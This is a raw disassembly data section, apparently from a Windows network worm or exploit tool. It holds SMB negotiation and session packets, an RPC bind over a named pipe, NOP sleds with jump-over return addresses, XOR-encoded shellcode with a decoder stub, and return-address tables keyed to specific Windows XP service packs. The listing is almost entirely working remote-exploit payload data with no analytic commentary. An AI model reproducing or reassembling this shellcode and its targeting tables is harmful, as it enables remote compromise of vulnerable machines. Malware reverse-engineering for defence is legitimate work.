dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_43FE78 dd 600EBh ; DATA XREF: seg000:00410460o
dword_43FE7C dd 0FFF83FE9h, 0FFh ; DATA XREF: seg000:00410393o
off_43FE84 dd offset aWeingarten+9 ; DATA XREF: seg000:00410481o
a2w:
unicode 0, <2w>,0
align 10h
dword_43FE90 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 ; DATA XREF: seg000:00410561o
; seg000:0041061Do
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2
dword_43FED8 dd 3000005h, 10h, 0D20h, 1, 0D08h, 90000h, 419h, 0
; DATA XREF: seg000:0041040Eo
dd 419h
dword_43FEFC dd 3000005h, 10h, 1520h, 1, 1508h, 90000h, 819h, 0
; DATA XREF: seg000:00410341o
dd 819h
dword_43FF20 dd 0BAADh, 40000h, 0 ; DATA XREF: seg000:00410442o
dd 40000h, 430000h, 5C003Ah, 40000h, 0
dd 40000h, 430000h, 5C003Ah, 40000h, 0
dd 40000h, 430000h, 5C003Ah, 8080000h, 130079h, 0
dd 130000h, 640000h, 6D006Fh, 690061h, 2E006Eh, 610062h
dd 740073h, 720061h, 2E0074h, 65006Eh, 74h, 0BAADh, 8500000h
dd 0B0079h, 0
dd 0B0000h, 440000h, 4D004Fh, 490041h, 5C004Eh, 4C0042h
dd 41h, 6C68BAADh, 0F0B60013h, 24E563BBh, 5FD45F0Fh, 0DF7B4444h
dd 0DA1E42A2h, 0F84FBDC6h, 0CC7B2D6Dh, 0F6DAFABFh, 9957C071h
dd 410B1AEBh, 46F69CCBh, 2E0CCA98h, 0FEE65D4Fh, 0BCE2FD34h
dd 14772D1h, 0DDAFF5E1h, 276A0160h, 26F6C036h, 909C988Bh
dd 2383541Fh, 0FF78501Dh, 0BC6FC3A9h, 7AEDEAD6h, 0D33E15C9h
dd 18924307h, 84B743A3h, 99912670h, 6AFBAC10h, 0FAF6373Fh
dd 232A7A8h, 0C47B323Ah, 2F373822h, 0FBB32D08h, 0AB0316D8h
dd 0D2B7ACC5h, 0AB285C9Eh, 54F58E7Eh, 1EF0BFA3h, 0FC370693h
dd 0B6B21CD0h, 0B35B23D5h, 3BD4E764h, 0BD1FE911h, 6696F5C8h
dd 0C7D84740h, 56F525C2h, 0B1E658D7h, 85459C41h, 0CF5515B8h
dd 1B99583Eh, 0E479E2EFh, 0F5B9A1AFh, 5BADB1C4h, 0FCB06DFh
dd 6FF714h, 0F450AEC3h, 0BE20C3AFh, 1D9B9B89h, 902F08B5h
dd 0B593A29Ch, 0AD3EB99h, 65BD84B4h, 0DCF9C147h, 4FB358D5h
dd 1F051851h, 665F64B7h, 4F7D2E50h, 0FD32403Ah, 0CAA2048Eh
dd 0E8ECD048h, 1C68BE70h, 0C1F22032h, 2C20A9E2h, 0AFD8F043h
dd 0AD2A81EFh, 39300457h, 0ACBB45F6h, 54D49701h, 16DF66BFh
dd 4B670129h, 856AA3B8h, 0A04D2B42h, 0B6FB0C9Bh, 81BDC57Ch
dd 0D9741A3Eh, 584B13DFh, 0EACF0598h, 9CEBFF61h, 3FEC7886h
dd 3FD3839h, 8BC57D88h, 1615362Dh, 3C94E81Bh, 10890BE9h
dd 1114E699h, 2F8C54Fh, 0B195A1B8h, 0F62BCF58h, 3F3E17B2h
dd 0E2DE4865h, 0B8E74DAEh, 0BFFADE91h, 0E6463Ch, 0A37E40A4h
dd 0A0A1DE35h, 15EBF902h, 27A4A30h, 3A2DE938h, 942C18F3h
dd 35F74713h, 0A03749A7h, 0BFAA1B98h, 0E3028BF5h, 6A5444F4h
dd 0BF8D9185h, 0C24CE40Ch, 8239677Fh, 4B0E4B66h, 0ACA84C34h
dd 51110F0Ah, 0A35A3E7Bh, 0F24626FBh, 6D3BAF84h, 81774A00h
dd 0B7DB7009h, 0A2EFECF5h, 110328F8h, 1D3D93ADh, 4FC3D6ACh
dd 7382EFFAh, 7B7D0CAh, 6E901B06h, 0F0B60013h, 24E563BBh
dd 5AB55F0Fh, 0EA2829F2h, 9F08AC70h, 7E92BB80h, 0E2F4253Ch
dd 91578ABFh, 0D28AC0F1h, 423A4F01h, 0C35570EEh, 70C4C75h
dd 0DFA846FFh, 684519A9h, 17172D0h, 0DDAF22E1h, 9CE4A188h
dd 15F6C071h, 891109F0h, 53830A1Fh, 6C4E501Dh, 0BC6F6409h
dd 3F57EAAEh, 0D33E15B4h, 0ED924307h, 84B75E17h, 36912673h
dd 92FBFC09h, 0FAEA348Ah, 0BB32A7A8h, 0C47B3235h, 2F37282Ah
dd 0FBB32D08h, 0ABDB16D8h, 3B7ACC5h, 0ABD95C0Bh, 54F58E7Eh
dd 1EF0BFA3h, 0FC37145Ch, 0B6B21CFBh, 0B3BE90D5h, 0A1D4E764h
dd 0BD1FE911h, 6696F5C8h, 8BD84740h, 56F5258Dh, 0B1E658D7h
dd 46039C41h, 0CF551570h, 1B99583Eh, 0E415E2EFh, 0F5FEA1AFh
dd 5BADB1C4h, 0FCB06DFh, 6FF714h, 0AA50AEC3h, 0BE20C3AFh
dd 1D9B9BD2h, 902F08B5h, 0B58AA29Ch, 0AD3EB99h, 656D84B4h
dd 0DCF9C147h, 812E58D5h, 8B051851h, 665F64B7h, 4F7DCD50h
dd 0FD32403Ah, 0CAA2048Eh, 0E848D048h, 1C219170h, 0C1F22032h
dd 2CC3A9E2h, 0AFD8F043h, 0AD2A81EFh, 39300457h, 0ACBB45F6h
dd 54D4979Ah, 16DFE8BFh, 4BDAB329h, 856AA3B8h, 0A04D2B42h
dd 0B6FB7E9Bh, 0ABBDC5D7h, 0D9741A3Eh, 584B13DFh, 0EACF0598h
dd 9CEBFF61h, 3FEC7886h, 3FD3839h, 8BC57D88h, 1615362Dh
dd 0BE94E81Bh, 10890BE9h, 1114E699h, 2F8C54Fh, 0B195A1B8h
dd 0F62BCF58h, 3F3E17B2h, 0E2DE1865h, 0B8E74DADh, 0BFFADE91h
dd 0E6463Ch, 0A37E40A4h, 0A0A1DE35h, 15EBF9DCh, 27AFD30h
dd 3A2DE938h, 942C18F3h, 64F74713h, 0A03749A7h, 0BFAA1B98h
dd 0E3028BF5h, 6A5444F4h, 0BF8D9132h, 0C24CE40Ch, 8239677Fh
dd 4B0E4B66h, 0ACA84C34h, 51110F0Ah, 0A35A3E7Bh, 0F24626FBh
dd 6D3BAF84h, 81774A00h, 0B7DB7009h, 0A2EFECF5h, 110328F8h
dd 1D3DB8ADh, 4FC3D6ACh, 7382EFFAh, 7B7D0CAh, 8C01B06h
dd 2 dup(0)
dword_4403F0 dd 0AD00F0h, 0D00BAh, 0AD00F0h, 0D00BAh, 0AD00F0h, 0D00BAh
; DATA XREF: seg000:00410375o
dd 0AD00F0h, 0AB00BAh, 3 dup(0AB00ABh), 0ABh, 0BAADh, 40000h
dd 0
dd 40000h, 430000h, 5C003Ah, 40000h, 0
dd 40000h, 430000h, 5C003Ah, 40000h, 0
dd 40000h, 430000h, 5C003Ah, 1F500000h, 130079h, 0
dd 130000h, 640000h, 6D006Fh, 690061h, 2E006Eh, 610062h
dd 740073h, 720061h, 2E0074h, 65006Eh, 74h, 0BAADh, 1F980000h
dd 0B0079h, 0
dd 0B0000h, 440000h, 4D004Fh, 490041h, 5C004Eh, 4C0042h
dd 41h, 6C68BAADh, 6FF80013h, 780871B6h, 7906B81Dh, 681B4105h
dd 0A519318Fh, 8EF1AE30h, 0FEA20E2Dh, 0E10BAE59h, 0F668E92Fh
dd 3DBBE22Bh, 0C9FE0679h, 10BC298Fh, 7A80C221h, 0AE21D2C8h
dd 4BB6B50Eh, 6341DBF5h, 503DCD4Fh, 16B2EC49h, 62E61679h
dd 48066954h, 18A491ADh, 65476540h, 9C51320Ch, 8918033Fh
dd 0A8CFCA73h, 4544AF4Eh, 45745E1Ah, 2AA23559h, 0B312E7C7h
dd 250D2D9Bh, 9F72D49Ah, 0CD63800Bh, 0B488DB31h, 0FBFFF7A7h
dd 8B52B7BEh, 0E24E0F98h, 7E3F94C6h, 0A0BA7AC2h, 8F3EAC69h
dd 32706D45h, 0FFFA1DFCh, 2FF75D6Eh, 974CDF4Fh, 2A6FD55Eh
dd 3597F736h, 0EC535F2h, 24D28A6Bh, 0FED5ED62h, 3D5BB4C6h
dd 51A693F8h, 0EABEB7CDh, 853D253Bh, 7B4CEA2Eh, 0B465545Eh
dd 63045DD4h, 0E8D119Ah, 51529C16h, 1F717A3Ah, 0B77EE55Ch
dd 0E653AEBDh, 1A26D3B9h, 24EED272h, 0D590E979h, 533C056Bh
dd 0AF028119h, 72C03514h, 61FC14ABh, 0F2B90F3Fh, 93DE26C0h
dd 1796F37h, 0D7DA3452h, 0D815311Dh, 0D143E127h, 0C9CA5CB9h
dd 0C904E41h, 68CAD06Bh, 0DFDF54F1h, 0FF2E9AE0h, 0F19918E2h
dd 89B2F77Ah, 6E508D09h, 233B4704h, 91F429ABh, 76117BA2h
dd 0D09B57DDh, 891B18C9h, 0F4931D47h, 0B2243192h, 0D59B1C2Dh
dd 85E02CA5h, 0C9BC5C0Eh, 391E990Dh, 78B62407h, 0DE0497A4h
dd 4862937Dh, 6EA0E05Ah, 0CBA5AFF7h, 68104795h, 0F94C833Dh
dd 1BEAA05Dh, 0A1E74B9Ah, 56F21589h, 1CD8D722h, 75E3EE2Fh
dd 77BD6D19h, 0B2415BF0h, 0C573CD85h, 3146AA92h, 4E6AB17Dh
dd 6038110Dh, 0C5E9C0A5h, 0EE83E634h, 0C79E34F8h, 1F2137D6h
dd 0C25536DAh, 945DDB80h, 2EAFF676h, 0CF562D07h, 0BB6B6C1Ch
dd 3C6AF0A7h, 0DE8A55BDh, 0A0DDD260h, 15003D6h, 0E290152h
dd 0CF353A38h, 51B72663h, 8DCD3FD0h, 986F2F49h, 0C5F77BDh
dd 364A9BCh, 6A7C6B6Fh, 6E90B28Dh, 6FF80013h, 780871B6h
dd 6412B81Dh, 712E4483h, 16CE899Eh, 41BF70E6h, 0FE09C7F6h
dd 0E1DAB4F0h, 24F7E92Fh, 51DE48F1h, 0C9FE5877h, 85B35868h
dd 74CC2A4h, 0AE00ACC8h, 24D7C0Eh, 63416DF1h, 50ACAB4Fh
dd 16B2EC49h, 0ADFF1EE6h, 0EC060AA1h, 1EB1C0A2h, 0A5AD6640h
dd 9CDCD90Ah, 8918DD3Fh, 0A8CFCA73h, 45448B0Bh, 0B574DD10h
dd 2AA272B4h, 0B312E7C7h, 0AD0D2D9Bh, 9F71D49Ah, 50D7750Bh
dd 0B488DB31h, 7EFFF7A7h, 8B72B7BEh, 0A14ED9A8h, 7E3F94C6h
dd 0A0BA60C2h, 0F3EEA69h, 32706D45h, 91FA1DD2h, 2FF75D6Eh
dd 974C46E4h, 2A6FD58Dh, 3697F736h, 0EC535F2h, 24648A6Bh
dd 0FED5ED95h, 3D5BB4C6h, 51A60FF8h, 0EABEB7CDh, 74FF8EEAh
dd 0CD4CEA98h, 0B465545Eh, 63CA5DD4h, 0E8D699Ah, 51529C16h
dd 1F717A3Ah, 0B77EE55Ch, 0E653AE6Dh, 1A26D3B9h, 24EED272h
dd 0D590E979h, 533C056Bh, 0AF028119h, 72C03514h, 61FC16F4h
dd 0F291A03Fh, 93DE26C0h, 1796F37h, 0D7DA34B8h, 0D8153186h
dd 0D143E144h, 0C9CAF5B2h, 0C906E41h, 68CAD06Bh, 0DFDF54F1h
dd 0FF2E9AE0h, 0F19918E2h, 897AF77Ah, 6E0E8D09h, 233B4704h
dd 91F429ABh, 761129A2h, 0D09B57DDh, 891B18C9h, 0F4FD1D47h
dd 0B2243192h, 0D59B1C2Dh, 85E02CA5h, 0C9BC5C0Eh, 391E990Dh
dd 78B62407h, 0DE0497A4h, 4862937Dh, 6EA0E05Ah, 0CBA5AFF7h
dd 688D4795h, 0F94C833Dh, 1BEAA05Dh, 0A1E74B9Ah, 56F21589h
dd 1CD8D722h, 75C2EE2Fh, 77BD6D19h, 0B2415BF0h, 0C573CD85h
dd 3146AA92h, 4E6AB17Dh, 6038110Dh, 0C5E9C0A5h, 0DD83F934h
dd 0C79E34C3h, 1F2137D6h, 0C25536DAh, 945DDB80h, 2EAFF676h
dd 0CF9D2D07h, 0BB6B6C1Ch, 3C6AF0A7h, 0DE8A55BDh, 0A0DDD260h
dd 15003D6h, 0E290152h, 0CF353A38h, 51B7263Eh, 8DCD3FD0h
dd 986F2F49h, 0C5F77BDh, 364A9BCh, 6A7C6B6Fh, 8C0B28Dh
dd 2 dup(0)
dword_4408F0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: seg000:0041074Bo
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_1 db 'PC NETWORK PROGRAM 1.0',0
db 2
aLanman1_0_1 db 'LANMAN1.0',0
dw 5702h
aIndowsForWor_1 db 'indows for Workgroups 3.1a',0
db 2
aLm1_2x002_1 db 'LM1.2X002',0
dw 4C02h
aAnman2_1_1 db 'ANMAN2.1',0
db 2, 4Eh, 54h
aLm0_12_1 db ' LM 0.12',0
align 10h
dword_440980 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: seg000:0041078Fo
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows20002_0:
unicode 0, <Windows 2000 2195>,0
aWindows20005_1:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_440A30 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: seg000:004107C2o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 41ED0000h, 2686272Ch
dd 0B3A059D2h, 8800AA5Eh, 57C56Fh, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_440B10 dd 5A000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: seg000:00410803o
dd 0FEFF0000h, 300800h, 5A00FF04h, 1000800h, 2F00h, 0
dword_440B44 dd 3F3F0000h, 3F3F3Fh, 0 ; DATA XREF: seg000:00410868o
dword_440B50 dd 66000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: seg000:004108E4o
dd 4780800h, 400800h, 0DE00FF18h, 1000DEh, 16h, 0
dd 2019Fh, 4 dup(0)
dd 1, 40h, 2, 1303h, 62005Ch, 6F0072h, 730077h, 720065h
dd 2 dup(0)
dword_440BC0 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: seg000:00410923o
dd 4780800h, 500800h, 48000010h, 0
dd 10h, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 5940h, 50005Ch, 500049h
dd 5C0045h, 400000h, 30B0005h, 10h, 48h, 1, 10B810B8h
dd 0
dd 1, 10000h, 8D9F4E40h, 11CEA03Dh, 8698Fh, 1B05303Eh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0)
dword_440C68 dd 90080000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: seg000:00410976o
dd 4780800h, 600800h, 3C000010h, 8, 1, 2 dup(0)
dd 3C005400h, 2005408h, 2600h, 84D40h, 50005Ch, 500049h
dd 5C0045h, 400000h, 3000005h, 10h, 83Ch, 1, 824h, 360000h
dd 11h, 0
dd 11h, 4F0052h, 54004Fh, 53005Ch, 530059h, 450054h, 5C004Dh
dd 2 dup(300030h), 0
dd 0FFFFh, 7E0h, 2 dup(0)
dd 7C0h, 0
dd 2 dup(90909090h), 909008EBh, 767A1567h, 909008EBh, 767A1567h
dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh
dd 767A1567h, 909008EBh, 767A1567h, 909008EBh, 767A1567h
dd 909008EBh, 767A1567h, 909008EBh, 767A1567h, 909008EBh
dd 767A1567h, 90909090h, 0EB909090h, 48909008h, 9088444Fh
dd 4 dup(90909090h), 0
dword_440D9C dd 7E0h, 4, 3 dup(0) ; DATA XREF: seg000:004109B3o
dword_440DB0 dd 0E983C929h, 0D9EED9B0h, 5BF42474h, 19137381h, 833704F5h
; DATA XREF: seg000:004109A0o
dd 0F4E2FCEBh, 7AEF9FE5h, 0C8FB0CF1h, 5B8F95E6h, 728FD13Dh
dd 32787E25h, 0BCEBF461h, 688FED56h, 7EEFF439h, 368FC192h
dd 0AEC4C4F7h, 43C471B5h, 3ACE341Eh, 0C3EF3718h, 1F20A122h
dd 688F106Ch, 51EFF43Dh, 0BC4FF992h, 0DC05E946h, 0BE8FD91Ah
dd 5618D175h, 53DFC4DAh, 0BC34B692h, 478FF959h, 778F5805h
dd 0B96CAB11h, 67E8FB57h, 646223E6h, 5379D7Fh, 5778271h
dd 0E7FBA146h, 0CBE93E71h, 0E1FBA522h, 51E17C46h, 350C1898h
dd 0C8069F4Ch, 3EDD9DC9h, 0C85358ECh, 6457A6CFh, 6447A64Ah
dd 0E7FBA65Ah
db 7Fh, 9Dh
word_440E6A dw 551Ah ; DATA XREF: seg000:00410994w
dd 0D68DA67Fh, 2DA09D8Ch, 0C8533269h, 66149FCFh, 5FD40A4Ch
dd 0DE2A58BDh, 64D20A4Eh, 5FD40A4Ch, 7E82BCFCh, 67D20A4Eh
dd 0C851A14Dh, 0D06C66C9h, 607D3360h, 0C85123E6h, 536E93C9h
dd 5A679D7Fh, 676E1090h, 0BEC8DC40h, 0BE409FFEh, 0C4C4C4FBh
dd 1A460BB3h, 0A428B7E7h, 9C3C8F94h, 456C5EB2h, 0C81246E7h
dd 0E1FBB16Ch, 6656A242h, 366EA448h, 6651A448h, 9A6C25E6h
dd 64CAF0C0h, 0C86E23E6h, 0E7FBC2E6h, 0B4F8A292h, 0E1FB91DDh
dd 5FD40A4Bh, 57E43BF6h, 0C8D20A4Ah, 3704F5C9h, 2 dup(0)
dword_440F10 dd 401150FFh, 0 ; DATA XREF: seg000:00410A4Co
dword_440F18 dd 142FFA1h, 0 ; DATA XREF: seg000:00410A5Do
dword_440F20 dd 401138FFh, 0 ; DATA XREF: seg000:00410A73o
dword_440F28 dd 14308B9h, 0 ; DATA XREF: seg000:00410A84o
dword_440F30 dd 320002h, 90909090h, 0ECC1F631h, 0CE4C10Ch, 0FB89E789h
; DATA XREF: seg000:00410B25o
dd 748B016Ah, 0D231FE24h, 0E2C14252h, 56575210h
db 0B8h
byte_440F55 db 3 dup(0) ; DATA XREF: seg000:00410A51o
; seg000:00410A78o
dd 8E8C100h, 0C08510FFh, 0DC890779h, 75F6854Eh, 90E7FFE1h
dd 3 dup(90909090h)
aRrrrrrrrrrrrrr db '',0
; DATA XREF: seg000:loc_410A89o
a1_1_1_1_1_1 db '1.1.1.1.1.1',0
aIa db 'ë€',0
align 4
dd 5EB02EBh, 0FFFFF9E8h, 0C08358FFh, 1A08D1Bh, 83FFFFFCh
dd 0EC8BFCE4h, 0B966C933h, 3080020Ch, 0FAE24080h, 80BF6810h
dd 0CE0E8080h, 7EF26C8Eh, 39039633h, 4752F835h, 151CE827h
dd 0EA21EE9Ah, 475358BDh, 0BF086827h, 0F3F71ECAh, 0B2B3DFB2h
dd 7C6D4B80h, 758959BBh, 0F09A242Dh, 0AE2D2447h, 6C96569h
dd 0E4EDE3C9h, 0E4D2DA80h, 80B021E7h, 0B8CC00Bh, 0B2D9CF0h
dd 720B88D8h, 6F017E0Bh, 80808180h, 883149B3h, 80811068h
dd 7FD6D280h, 0BDA60D7h, 87460358h, 853149B3h, 8081FC68h
dd 80036880h, 1E68080h, 0D481106Ch, 808181E8h, 6CD77F80h
dd 40B36C0Bh, 0D0D0D0D0h, 0D0C0D0C0h, 0B70D77Fh, 0C547E658h
dd 0E6808280h, 8082C547h, 84C547D0h, 80808080h, 0D3D590EAh
dd 574D77Fh, 0C062F540h, 0D77FD3D0h, 0D3D0D078h, 0B7CD77Fh
dd 0B340B358h, 0D7913149h, 2B737D0Bh, 80C546DFh, 0BCDD09C4h
dd 9B8DD09h, 47E6C0DDh, 8181ACC5h, 0D0C4C50Dh, 0D1D1D1D5h
dd 0D1C9D1C1h, 7FD1D6D1h, 40B350D7h, 0D77FD0C8h, 0B340B354h
dd 0D7913149h, 2B737D0Bh, 0C4CD0DDFh, 0D0D0D5D1h, 80EA84EAh
dd 0D0D6D0D0h, 150D77Fh, 8084806Ch, 8087E880h, 7FD48081h
dd 0D77FC8F5h, 0E8C0EA58h, 80809080h, 80D080E8h, 7F80EA80h
dd 0D77FC4F5h, 1580B5Ch, 80818043h, 0A41C0980h, 80808038h
dd 34A41C09h, 0B808080h, 8484A40Ch, 0C1478080h, 1010107Bh
dd 7FC14610h, 2690110h, 0EA808081h, 9080E880h, 0D0D18080h
dd 7FC4F57Fh, 7FD460D7h, 0D77FC8F5h, 0C8F57F64h, 0B368D77Fh
dd 7FD0C840h, 0D5D354D7h, 0EC0BD7D6h, 0C50B98A4h, 85D40BBCh
dd 0B5583F8h, 0DA0B98CAh, 635D83A0h, 0B40BC9B9h, 0B375830Bh
dd 40B37C7Fh, 0F444BA2Ch, 1010108Bh, 8D4F4110h, 6E6B7883h
dd 94A4FCBBh, 0DA0B5DF5h, 0E65D83A4h, 0BCB8C0Bh, 5D839CDAh
dd 830B840Bh, 10856B45h, 40B31010h, 0DEDF550Bh, 8442DBDDh
dd 7FD3D180h, 7F1868B6h, 2D2B7F7Fh, 7162D9DBh, 43h, 4Fh
dd 4Eh, 41h, 42h, 41h, 43h, 41h, 0C1h, 41h, 0C3h, 41h
dd 0C9h, 41h, 0CAh, 41h, 0CBh, 41h, 0CCh, 41h, 0CDh, 41h
dd 0CEh, 41h, 0CFh, 41h, 0D0h
aFb db 'fìÐ',7,0 ; DATA XREF: seg000:00410FCEo
align 4
dword_441258 dd 129F74h, 0 ; DATA XREF: seg000:00411234o
dword_441260 dd 127D78h, 0 ; DATA XREF: seg000:00411294o
dword_441268 dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 3D137381h, 836F5088h
; DATA XREF: seg000:00410FFBo
dd 0F4E2FCEBh, 22BBE2C1h, 90AF71D5h, 3DBE8C2h, 2ADBAC19h
dd 6A2C0301h, 0E4BF8945h, 30DB9072h, 26BB891Dh, 6EDBBCB6h
dd 0F690B9D3h, 1B900C91h, 629A493Ah, 9BBB4A3Ch, 4774DC06h
dd 30DB6D48h, 9BB8919h, 0E41B84B6h, 84519462h, 0E6DBA43Eh
dd 0E4CAC51h, 0B8BB9FEh, 0E460CBB6h, 1FDB847Dh, 2FDB2521h
dd 0E138D635h, 3FBC8673h, 3C365EC2h, 5D63E05Bh, 5D23FF55h
dd 0BFAFDC62h, 93BD4355h, 0B9AFD806h, 9B50162h, 6D5865BCh
dd 9052E268h, 6689E0EDh, 900725C8h, 3C03DBEBh, 3C13DB6Eh
dd 0BFAFDB7Eh, 0A857E05Bh, 8ED9DB5Bh, 75F4E0A8h, 90074F4Dh
dd 3E40E2EBh, 7807768h, 867E2599h, 3C86776Ah, 7807768h
dd 26D6C1D8h, 3F86776Ah, 9005DC69h, 88381BEDh, 38294E44h
dd 90055EC2h, 0B3AEEEDh, 233E05Bh, 3F3A6DB4h, 0E69CA164h
dd 0E614E2DAh, 9C90B9DFh, 42127697h, 0FC7CCAC3h, 0C468F2B0h
dd 1D382396h, 90463BC3h, 0B9AFCC48h, 3E02DF66h, 6E3AD96Ch
dd 3E05D96Ch, 0C23858C2h, 3C9E8DE4h, 903A5EC2h, 0BFAFBFC2h
dd 0ECACDFB6h, 0B9AFECF9h, 780776Fh, 305402CDh, 9086776Eh
dd 6F5088EDh, 2 dup(0)
dword_4413C8 dd 5B03EB60h, 0F8E8C353h, 31FFFFFFh, 13404C0h, 315B50D8h
; DATA XREF: seg000:00410FE1o
dd 401002D2h, 50403002h, 4104C031h, 0C628C228h, 6604E2C0h
dd 3104EAC1h, 2F630C0h, 66032803h, 58431301h, 802C931h
dd 61D5E0h, 433D94h
dword_44140C dd 77BD3143h ; DATA XREF: seg000:00410FB9r
dword_441410 dd 7FCh ; DATA XREF: seg000:00410FB3r
byte_441414 db 1 ; DATA XREF: seg000:004111D3r
; seg000:004111FAr ...
align 4
dd offset aWindowsXpSp01E ; "Windows XP SP0+1 ENG"
dd 77C03143h, 7FCh, 1, 433D68h, 77BD1F89h, 7FCh, 1, 433D54h
dd 77BD1FA8h, 7FCh, 1, 433D40h, 77BD1FD6h, 7FCh, 1, 433D2Ch
dd 77BD2195h, 7FCh, 1, 433D18h, 77BD21B3h, 7FCh, 1, 433D04h
dd 77BD21E0h, 7FCh, 1, 433CF0h, 77BD220Ch, 7FCh, 1, 433CDCh
dd 77BD2241h, 7FCh, 1, 433CC8h, 77BD22D2h, 7FCh, 1, 433CB4h
dd 77BD28B2h, 7FCh, 1, 433CA0h, 77BD29ABh, 7FCh, 1, 433C8Ch
dd 77BD29E7h, 7FCh, 1, 433C78h, 77BD29F7h, 7FCh, 1, 433C64h
dd 77BD2A03h, 7FCh, 1, 433C50h, 77BD2D6Dh, 7FCh, 1, 433C3Ch
dd 77BD2DB3h, 7FCh, 1, 433C28h, 77BD2EC2h, 7FCh, 1, 433C14h
dd 77BD2EDDh, 7FCh, 1, 433C00h, 77BD30AFh, 7FCh, 1, 433BECh
dd 77BD312Bh, 7FCh, 1, 433BD8h, 77BD3160h, 7FCh, 1, 433BC4h
dd 77BD349Ah, 7FCh, 1, 433BB0h, 77BD34E4h, 7FCh, 1, 433B94h
dd 655B4F02h, 7E7h, 0
dd offset aWindowsUkXp_23 ; "Windows uk xp pro sp1 1"
dd 77C01F89h, 7FCh, 1, 433B64h, 77C01FA8h, 7FCh, 1, 433B4Ch
dd 77C01FD6h, 7FCh, 1, 433B34h, 77C02195h, 7FCh, 1, 433B1Ch
dd 77C021B3h, 7FCh, 1, 433B04h, 77C021E0h, 7FCh, 1, 433AECh
dd 77C0220Ch, 7FCh, 1, 433AD4h, 77C02241h, 7FCh, 1, 433ABCh
dd 77C022D2h, 7FCh, 1, 433AA0h, 77C028B2h, 7FCh, 1, 433A84h
dd 77C029ABh, 7FCh, 1, 433A68h, 77C029E7h, 7FCh, 1, 433A4Ch
dd 77C029F7h, 7FCh, 1, 433A30h, 77C02A03h, 7FCh, 1, 433A14h
dd 77C02A39h, 7FCh, 1, 4339F8h, 77C02D6Dh, 7FCh, 1, 4339DCh
dd 77C02DB3h, 7FCh, 1, 4339C0h, 77C02EC2h, 7FCh, 1, 4339A4h
dd 77C02EDDh, 7FCh, 1, 433988h, 77C030AFh, 7FCh, 1, 43396Ch
dd 77C0312Bh, 7FCh, 1, 433950h, 77C03143h, 7FCh, 1, 433934h
dd 77C03160h, 7FCh, 1, 433918h, 77C0349Ah, 7FCh, 1, 4338FCh
dd 77C034E4h, 7FCh, 1, 4338E4h, 77B920FDh, 7FCh, 1, 4338CCh
dd 77B9211Ch, 7FCh, 1, 4338B4h, 77B9214Ah, 7FCh, 1, 43389Ch
dd 77B9230Ch, 7FCh, 1, 433884h, 77B9232Ah, 7FCh, 1, 43386Ch
dd 77B92357h, 7FCh, 1, 433854h, 77B92383h, 7FCh, 1, 43383Ch
dd 77B923B8h, 7FCh, 1, 433824h, 77B92448h, 7FCh, 1, 433808h
dd 77B92AAAh, 7FCh, 1, 4337ECh, 77B92BA7h, 7FCh, 1, 4337D0h
dd 77B92BE3h, 7FCh, 1, 4337B4h, 77B92BF3h, 7FCh, 1, 433798h
dd 77B92BFFh, 7FCh, 1, 43377Ch, 77B92F78h, 7FCh, 1, 433760h
dd 77B92FBEh, 7FCh, 1, 433744h, 77B930EFh, 7FCh, 1, 433728h
dd 77B9310Dh, 7FCh, 1, 43370Ch, 77B9330Ch, 7FCh, 1, 4336F0h
dd 77B93388h, 7FCh, 1, 4336D4h, 77B9339Eh, 7FCh, 1, 4336B8h
dd 77B933BAh, 7FCh, 1, 43369Ch, 77B9373Dh, 7FCh, 1, 433680h
dd 77B9378Ah, 7FCh, 1, 433668h, 77B920FDh, 7FCh, 1, 433650h
dd 77B9211Ch, 7FCh, 1, 433638h, 77B9214Ah, 7FCh, 1, 433620h
dd 77B9230Ch, 7FCh, 1, 433608h, 77B9232Ah, 7FCh, 1, 4335F0h
dd 77B92357h, 7FCh, 1, 4335D8h, 77B92383h, 7FCh, 1, 4335C0h
dd 77B923B8h, 7FCh, 1, 4335A8h, 77B92448h, 7FCh, 1, 43358Ch
dd 77B92AAAh, 7FCh, 1, 433570h, 77B92BA7h, 7FCh, 1, 433554h
dd 77B92BE3h, 7FCh, 1, 433538h, 77B92BF3h, 7FCh, 1, 43351Ch
dd 77B92BFFh, 7FCh, 1, 433500h, 77B92F78h, 7FCh, 1, 4334E4h
